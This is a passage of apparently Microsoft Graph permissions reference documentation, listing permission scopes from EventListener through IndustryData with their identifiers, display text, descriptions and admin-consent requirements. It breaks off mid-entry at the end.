+Read and write entitlement management resources related to self-service operations |
+
+
+| Description |
+- |
+Allows the app to manage self-service entitlement management resources on behalf of the signed-in user. This includes operations such as requesting access and approving access of others. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+EventListener.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b7f6385c-6ce6-4639-a480-e23c42ed9784 |
+f7dd3bed-5eec-48da-bc73-1c0ef50bc9a1 |
+
+
+| DisplayText |
+Read all authentication event listeners |
+Read your organization's authentication event listeners |
+
+
+| Description |
+Allows the app to read your organization's authentication event listeners without a signed-in user. |
+Allows the app to read your organization's authentication event listeners on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EventListener.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0edf5e9e-4ce8-468a-8432-d08631d18c43 |
+d11625a6-fe21-4fc6-8d3d-063eba5525ad |
+
+
+| DisplayText |
+Read and write all authentication event listeners |
+Read and write your organization's authentication event listeners |
+
+
+| Description |
+Allows the app to read or write your organization's authentication event listeners without a signed-in user. |
+Allows the app to read or write your organization's authentication event listeners on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+EWS.AccessAsUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9769c687-087d-48ac-9cb3-c37dde652038 |
+
+
+| DisplayText |
+- |
+Access mailboxes as the signed-in user via Exchange Web Services |
+
+
+| Description |
+- |
+Allows the app to have the same access to mailboxes as the signed-in user via Exchange Web Services. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+ExternalConnection.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1914711b-a1cb-4793-b019-c2ce0ed21b8c |
+a38267a5-26b6-4d76-9493-935b7599116b |
+
+
+| DisplayText |
+Read all external connections |
+Read all external connections |
+
+
+| Description |
+Allows the app to read all external connections without a signed-in user. |
+Allows the app to read all external connections on behalf of a signed-in user. The signed-in user must be an administrator. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalConnection.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+34c37bc0-2b40-4d5e-85e1-2365cd256d79 |
+bbbbd9b3-3566-4931-ac37-2b2180d9e334 |
+
+
+| DisplayText |
+Read and write all external connections |
+Read and write all external connections |
+
+
+| Description |
+Allows the app to read and write all external connections without a signed-in user. |
+Allows the app to read and write all external connections on behalf of a signed-in user. The signed-in user must be an administrator. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalConnection.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f431331c-49a6-499f-be1c-62af19c34a9d |
+4082ad95-c812-4f02-be92-780c4c4f1830 |
+
+
+| DisplayText |
+Read and write external connections |
+Read and write external connections |
+
+
+| Description |
+Allows the app to read and write external connections without a signed-in user. The app can only read and write external connections that it is authorized to, or it can create new external connections. |
+Allows the app to read and write settings of external connections on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read and write settings of connections that it is authorized to. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalItem.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7a7cffad-37d2-4f48-afa4-c6ab129adcc2 |
+922f9392-b1b7-483c-a4be-0089be7704fb |
+
+
+| DisplayText |
+Read all external items |
+Read items in external datasets |
+
+
+| Description |
+Allows the app to read all external items without a signed-in user. |
+Allow the app to read external datasets and content, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalItem.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+38c3d6ee-69ee-422f-b954-e17819665354 |
+b02c54f8-eb48-4c50-a9f0-a149e5a2012f |
+
+
+| DisplayText |
+Read and write items in external datasets |
+Read and write all external items |
+
+
+| Description |
+Allow the app to read or write items in all external datasets that the app is authorized to access |
+Allows the app to read and write all external items on behalf of a signed-in user. The signed-in user must be an administrator. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalItem.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8116ae0f-55c2-452d-9944-d18420f5b2c8 |
+4367b9d7-cee7-4995-853c-a0bdfe95c1f9 |
+
+
+| DisplayText |
+Read and write external items |
+Read and write external items |
+
+
+| Description |
+Allows the app to read and write external items without a signed-in user. The app can only read external items of the connection that it is authorized to. |
+Allows the app to read and write external items on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read external items of the connection that it is authorized to. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalUserProfile.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1987d7a0-d602-4262-ab90-cfdd43b37545 |
+47167bec-55a7-4caf-9ecc-8d4566e3cfb1 |
+
+
+| DisplayText |
+Read all external user profiles |
+Read external user profiles |
+
+
+| Description |
+Allows the app to read available properties of external user profiles, without a signed-in user. |
+Allows the app to read available properties of external user profiles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ExternalUserProfile.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+761327c9-d819-4c08-9a5f-874cd2826608 |
+c6068dc7-a791-46a4-a811-b8228e6649ab |
+
+
+| DisplayText |
+Read and write all external user profiles |
+Read and write external user profiles |
+
+
+| Description |
+Allows the app to read and write available properties of external user profiles, without a signed-in user. |
+Allows the app to read and write available properties of external user profiles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Family.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+3a1e4806-a744-4c70-80fc-223bf8582c46 |
+
+
+| DisplayText |
+- |
+Read your family info |
+
+
+| Description |
+- |
+Allows the app to read your family information, members and their basic profile. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Files.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+10465720-29dd-4523-a11a-6a75c743c9d9 |
+
+
+| DisplayText |
+- |
+Read user files |
+
+
+| Description |
+- |
+Allows the app to read the signed-in user's files. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Files.Read delegated permission is available for consent in personal Microsoft accounts.
+
+For personal accounts, Files.Read also grant access to files shared with the signed-in user.
+
+Files.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+01d4889c-1287-42c6-ac1f-5d1e02578ef6 |
+df85f4d6-205c-4ac5-a5ea-6bf408dba283 |
+
+
+| DisplayText |
+Read files in all site collections |
+Read all files that user can access |
+
+
+| Description |
+Allows the app to read all files in all site collections without a signed in user. |
+Allows the app to read all files the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Files.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+Files.Read.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5447fe39-cb82-4c1a-b977-520e67e724eb |
+
+
+| DisplayText |
+- |
+Read files that the user selects (preview) |
+
+
+| Description |
+- |
+(Preview) Allows the app to read files that the user selects. The app has access for several hours after the user selects a file. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+The Files.Read.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.
+
+Files.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5c28f0bf-8a70-41f1-8ab2-9032436ddb65 |
+
+
+| DisplayText |
+- |
+Have full access to user files |
+
+
+| Description |
+- |
+Allows the app to read, create, update and delete the signed-in user's files. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Files.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+For personal accounts, Files.ReadWrite also grant access to files shared with the signed-in user.
+
+Files.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+75359482-378d-4052-8f01-80520e7db3cd |
+863451e7-0667-486c-a5d6-d135439485f0 |
+
+
+| DisplayText |
+Read and write files in all site collections |
+Have full access to all files user can access |
+
+
+| Description |
+Allows the app to read, create, update and delete all files in all site collections without a signed in user. |
+Allows the app to read, create, update and delete all files the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Files.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.
+
+Files.ReadWrite.AppFolder
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b47b160b-1054-4efd-9ca0-e2f614696086 |
+8019c312-3263-48e6-825e-2b833497195b |
+
+
+| DisplayText |
+Have full access to the application's folder without a signed in user. |
+Have full access to the application's folder (preview) |
+
+
+| Description |
+Allows the app to read, create, update and delete files in the application's folder without a signed in user. |
+(Preview) Allows the app to read, create, update and delete files in the application's folder. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Files.ReadWrite.AppFolder delegated permission is available for consent in personal Microsoft accounts.
+
+Files.ReadWrite.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+17dde5bd-8c17-420f-a486-969730c1b827 |
+
+
+| DisplayText |
+- |
+Read and write files that the user selects (preview) |
+
+
+| Description |
+- |
+(Preview) Allows the app to read and write files that the user selects. The app has access for several hours after the user selects a file. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+The Files.ReadWrite.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.
+
+Files.SelectedOperations.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bd61925e-3bf4-4d62-bc0b-06b06c96d95c |
+ef2779dc-ef1b-4211-8310-8a0ac2450081 |
+
+
+| DisplayText |
+Access selected Files without a signed in user. |
+Access selected Files, on behalf of the signed-in user |
+
+
+| Description |
+Allow the application to access a subset of files without a signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive. |
+Allow the application to access files explicitly permissioned to the application on behalf of the signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+FileStorageContainer.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+40dc41bc-0f7e-42ff-89bd-d9516947e474 |
+085ca537-6565-41c2-aca7-db852babc212 |
+
+
+| DisplayText |
+Access selected file storage containers |
+Access selected file storage containers |
+
+
+| Description |
+Allows the application to utilize the file storage container platform to manage containers, without a signed-in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type. |
+Allows the application to utilize the file storage container platform to manage containers on behalf of the signed in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Financials.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f534bf13-55d4-45a9-8f3c-c92fe64d6131 |
+
+
+| DisplayText |
+- |
+Read and write financials data |
+
+
+| Description |
+- |
+Allows the app to read and write financials data on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Goals-Export.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+092211d9-ca1a-427b-813e-b79c7653fe71 |
+
+
+| DisplayText |
+- |
+Read all goals and export jobs that a user can access |
+
+
+| Description |
+- |
+Allows the app to read all goals and export jobs that the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Goals-Export.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2edeb9fd-4228-480c-a26d-2ed52011cf3d |
+
+
+| DisplayText |
+- |
+Have full access to all goals and export jobs a user can access |
+
+
+| Description |
+- |
+Allows the app to read goals, create and read export jobs that the signed-in user can access. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Group.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bf7b1a76-6e77-406b-b258-bf5c7720e98f |
+- |
+
+
+| DisplayText |
+Create groups |
+- |
+
+
+| Description |
+Allows the app to create groups without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Group.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5b567255-7703-4780-807c-7be8301ae99b |
+5f8c59db-677d-491f-a6b8-5f174b11ec1d |
+
+
+| DisplayText |
+Read all groups |
+Read all groups |
+
+
+| Description |
+Allows the app to read group properties and memberships, and read conversations for all groups, without a signed-in user. |
+Allows the app to list groups, and to read their properties and all group memberships on behalf of the signed-in user. Also allows the app to read calendar, conversations, files, and other group content for all groups the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.
+In some cases, an app might need extra permissions to read some group properties like member and memberOf. For example, if a group has one or more service principals as members, the app also needs permissions to read service principals, otherwise Microsoft Graph returns an error or limited information. To read the full information, the app also needs permissions in the organization to read service principals. For more information, see Limited information returned for inaccessible member objects.
+Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.
+Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.
+
+Group.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+62a82d76-70ea-41e2-9197-370581804d09 |
+4e46008b-f24c-477d-8fff-7bb4ec7aafe0 |
+
+
+| DisplayText |
+Read and write all groups |
+Read and write all groups |
+
+
+| Description |
+Allows the app to create groups, read all group properties and memberships, update group properties and memberships, and delete groups. Also allows the app to read and write conversations. All of these operations can be performed by the app without a signed-in user. |
+Allows the app to create groups and read all group properties and memberships on behalf of the signed-in user. Additionally allows group owners to manage their groups and allows group members to update group content. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.
+In some cases, an app may need extra properties to update some group properties and relationships like member and memberOf. For example, to add a servicePrincipal object as a member, the app also needs permissions to write the service principal, otherwise Microsoft Graph returns an error. For more information, see Limited information returned for inaccessible member objects.
+Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.
+Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.
+
+GroupMember.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+98830695-27a2-44f7-8c18-0c3ebc9698f6 |
+bc024368-1153-4739-b217-4326f2e966d0 |
+
+
+| DisplayText |
+Read all group memberships |
+Read group memberships |
+
+
+| Description |
+Allows the app to read memberships and basic group properties for all groups without a signed-in user. |
+Allows the app to list groups, read basic group properties and read membership of all groups the signed-in user has access to. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+GroupMember.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dbaae8cf-10b5-4b86-a4a1-f871c94c6695 |
+f81125ac-d3b7-4573-a3b2-7099cc39df9e |
+
+
+| DisplayText |
+Read and write all group memberships |
+Read and write group memberships |
+
+
+| Description |
+Allows the app to list groups, read basic properties, read and update the membership of the groups this app has access to without a signed-in user. Group properties and owners cannot be updated and groups cannot be deleted. |
+Allows the app to list groups, read basic properties, read and update the membership of the groups the signed-in user has access to. Group properties and owners cannot be updated and groups cannot be deleted. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+HealthMonitoringAlert.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5183ed5d-b7f8-4e9a-915e-dafb46b9cb62 |
+74b4ff32-4917-4536-a66d-38a4861e6220 |
+
+
+| DisplayText |
+Read all scenario health monitoring alert |
+Read all scenario health monitoring alerts |
+
+
+| Description |
+Allows the app to read all scenario health monitoring alerts, without a signed-in user. |
+Allows the app to read all scenario health monitoring alerts |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+HealthMonitoringAlert.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ac29eb50-f2f9-4518-a117-4bef18e84c7d |
+b7c60f27-2195-4d5f-96a7-6b98bdfd9664 |
+
+
+| DisplayText |
+Read and write all scenario monitoring alerts |
+Read and write all scenario monitoring alerts |
+
+
+| Description |
+Allows the app to read and write all scenario monitoring alerts, without a signed-in user. |
+Allows the app to read and write all scenario monitoring alerts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+HealthMonitoringAlertConfig.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bb424d73-e898-4c97-9d42-688c32810003 |
+fb873030-8626-47e6-96ff-8a5bff3b725f |
+
+
+| DisplayText |
+Read all scenario health monitoring alert configurations |
+Read all scenario health monitoring alert configurations |
+
+
+| Description |
+Allows the app to read all scenario health monitoring alert configurations, without a signed-in user. |
+Allows the app to read all scenario health monitoring alert configurations |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+HealthMonitoringAlertConfig.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+432e76f0-8af6-4315-a853-66ab9538f480 |
+b3e5ebc6-1c23-4337-8286-3f27165addb4 |
+
+
+| DisplayText |
+Read and write all scenario monitoring alerts |
+Read and write all scenario monitoring alert configurations. |
+
+
+| Description |
+Allows the app to read and write all scenario monitoring alerts, without a signed-in user. |
+Allows the app to read and write all scenario monitoring alert configurations, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityProvider.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e321f0bb-e7f7-481e-bb28-e3b0b32d4bd0 |
+43781733-b5a7-4d1b-98f4-e8edff23e1a9 |
+
+
+| DisplayText |
+Read identity providers |
+Read identity providers |
+
+
+| Description |
+Allows the app to read your organization's identity (authentication) providers' properties without a signed in user. |
+Allows the app to read your organization's identity (authentication) providers' properties on behalf of the user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityProvider.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+90db2b9a-d928-4d33-a4dd-8442ae3d41e4 |
+f13ce604-1677-429f-90bd-8a10b9f01325 |
+
+
+| DisplayText |
+Read and write identity providers |
+Read and write identity providers |
+
+
+| Description |
+Allows the app to read and write your organization's identity (authentication) providers' properties without a signed in user. |
+Allows the app to read and write your organization's identity (authentication) providers' properties on behalf of the user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskEvent.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6e472fd1-ad78-48da-a0f0-97ab2c6b769e |
+8f6a01e7-0391-4ee5-aa22-a3af122cef27 |
+
+
+| DisplayText |
+Read all identity risk event information |
+Read identity risk event information |
+
+
+| Description |
+Allows the app to read the identity risk event information for your organization without a signed in user. |
+Allows the app to read identity risk event information for all users in your organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskEvent.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+db06fb33-1953-4b7b-a2ac-f1e2c854f7ae |
+9e4862a5-b68f-479e-848a-4e07e25c9916 |
+
+
+| DisplayText |
+Read and write all risk detection information |
+Read and write risk event information |
+
+
+| Description |
+Allows the app to read and update identity risk detection information for your organization without a signed-in user. Update operations include confirming risk event detections. |
+Allows the app to read and update identity risk event information for all users in your organization on behalf of the signed-in user. Update operations include confirming risk event detections. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskyServicePrincipal.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+607c7344-0eed-41e5-823a-9695ebe1b7b0 |
+ea5c4ab0-5a73-4f35-8272-5d5337884e5d |
+
+
+| DisplayText |
+Read all identity risky service principal information |
+Read all identity risky service principal information |
+
+
+| Description |
+Allows the app to read all risky service principal information for your organization, without a signed-in user. |
+Allows the app to read all identity risky service principal information for your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskyServicePrincipal.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cb8d6980-6bcb-4507-afec-ed6de3a2d798 |
+bb6f654c-d7fd-4ae3-85c3-fc380934f515 |
+
+
+| DisplayText |
+Read and write all identity risky service principal information |
+Read and write all identity risky service principal information |
+
+
+| Description |
+Allows the app to read and update identity risky service principal for your organization, without a signed-in user. |
+Allows the app to read and update identity risky service principal information for all service principals in your organization, on behalf of the signed-in user. Update operations include dismissing risky service principals. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskyUser.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dc5007c0-2d7d-4c42-879c-2dab87571379 |
+d04bb851-cb7c-4146-97c7-ca3e71baf56c |
+
+
+| DisplayText |
+Read all identity risky user information |
+Read identity risky user information |
+
+
+| Description |
+Allows the app to read the identity risky user information for your organization without a signed in user. |
+Allows the app to read identity risky user information for all users in your organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityRiskyUser.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+656f6061-f9fe-4807-9708-6a2e0934df76 |
+e0a7cdbb-08b0-4697-8264-0069786e9674 |
+
+
+| DisplayText |
+Read and write all risky user information |
+Read and write risky user information |
+
+
+| Description |
+Allows the app to read and update identity risky user information for your organization without a signed-in user. Â Update operations include dismissing risky users. |
+Allows the app to read and update identity risky user information for all users in your organization on behalf of the signed-in user. Update operations include dismissing risky users. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityUserFlow.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1b0c317f-dd31-4305-9932-259a8b6e8099 |
+2903d63d-4611-4d43-99ce-a33f3f52e343 |
+
+
+| DisplayText |
+Read all identity user flows |
+Read all identity user flows |
+
+
+| Description |
+Allows the app to read your organization's user flows, without a signed-in user. |
+Allows the app to read your organization's user flows, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IdentityUserFlow.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+65319a09-a2be-469d-8782-f6b07debf789 |
+281892cc-4dbf-4e3a-b6cc-b21029bb4e82 |
+
+
+| DisplayText |
+Read and write all identity user flows |
+Read and write all identity user flows |
+
+
+| Description |
+Allows the app to read or write your organization's user flows, without a signed-in user. |
+Allows the app to read or write your organization's user flows, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IMAP.AccessAsUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+652390e4-393a-48de-9484-05f9b1212954 |
+
+
+| DisplayText |
+- |
+Read and write access to mailboxes via IMAP. |
+
+
+| Description |
+- |
+Allows the app to have the same access to mailboxes as the signed-in user via IMAP protocol. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The IMAP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.
+
+IndustryData.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4f5ac95f-62fd-472c-b60f-125d24ca0bc5 |
+60382b96-1f5e-46ea-a544-0407e489e588 |
+
+
+| DisplayText |
+View basic service and resource information |
+Read basic Industry Data service and resource definitions |
+
+
+| Description |
+Allows the app to read basic service and resource information without a signed-in user. |
+Allows the app to read basic Industry Data service and resource information on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+IndustryData-DataConnector.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7ab52c2f-a2ee-4d98-9ebc-725e3934aae2 |
+d19c0de5-7ecb-4aba-b090-da35ebcd5425 |
+
+
+| DisplayText |
+View data connector definitions |
+View data connector definitions |
+
+
+| Description |
+Allows the app to read data connectors without a signed-in user. |
+Allows the app to read data connectors on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-DataConnector.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+eda0971c-482e-4345-b28f-69c309cb8a34 |
+5ce933ac-3997-4280-aed0-cc072e5c062a |
+
+
+| DisplayText |
+Manage data connector definitions |
+Manage data connector definitions |
+
+
+| Description |
+Allows the app to read and write data connectors without a signed-in user. |
+Allows the app to read and write data connectors on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-DataConnector.Upload
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9334c44b-a7c6-4350-8036-6bf8e02b4c1f |
+fc47391d-ab2c-410f-9059-5600f7af660d |
+
+
+| DisplayText |
+Upload files to a data connector |
+Upload files to a data connector |
+
+
+| Description |
+Allows the app to upload data files to a data connector without a signed-in user. |
+Allows the app to upload data files to a data connector on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-InboundFlow.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+305f6ba2-049a-4b1b-88bb-fe7e08758a00 |
+cb0774da-a605-42af-959c-32f438fb38f4 |
+
+
+| DisplayText |
+View inbound flow definitions |
+View inbound flow definitions |
+
+
+| Description |
+Allows the app to read inbound data flows without a signed-in user. |
+Allows the app to read inbound data flows on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-InboundFlow.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e688c61f-d4c6-4d64-a197-3bcf6ba1d6ad |
+97044676-2cec-40ee-bd70-38df444c9e70 |
+
+
+| DisplayText |
+Manage inbound flow definitions |
+Manage inbound flow definitions |
+
+
+| Description |
+Allows the app to read and write inbound data flows without a signed-in user. |
+Allows the app to read and write inbound data flows on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-OutboundFlow.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+61d0354c-5d88-483c-b974-a37ec3395a2c |
+4741a003-8952-4be4-9217-33a0ac327122 |
+
+
+| DisplayText |
+View outbound flow definitions |
+View outbound flow definitions |
+
+
+| Description |
+Allows the app to read outbound data flows without a signed-in user. |
+Allows the app to read outbound data flows on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-OutboundFlow.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+24a65b4a-e501-47e2-8849-d679517887f0 |
+aeb68e0b-e562-4a1f-b6dd-3484ad0cbb4b |
+
+
+| DisplayText |
+Manage outbound flow definitions |
+Manage outbound flow definitions |
+
+
+| Description |
+Allows the app to read and write outbound data flows without a signed-in user. |
+Allows the app to read and write outbound data flows on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-ReferenceDefinition.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6ee891c3-74a4-4148-8463-0c834375dfaf |
+a3f96ffe-cb84-40a8-ac85-582d7ef97c2a |
+
+
+| DisplayText |
+View reference definitions |
+View reference definitions |
+
+
+| Description |
+Allows the app to read reference definitions without a signed-in user. |
+Allows the app to read reference definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+IndustryData-ReferenceDefinition.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bda16293-63d3-45b7-b16b-833841d27d56 |
+a757d430-be6d-430f-af57-28aabe79d247 |
+
+
+| DisplayText |
+Manage reference definitions |
+Manage reference definitions |
+
+
+| Description |
+Allows the app to read and write reference definitions without a signed-in user. |
+Allows the app to read and write reference definitions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
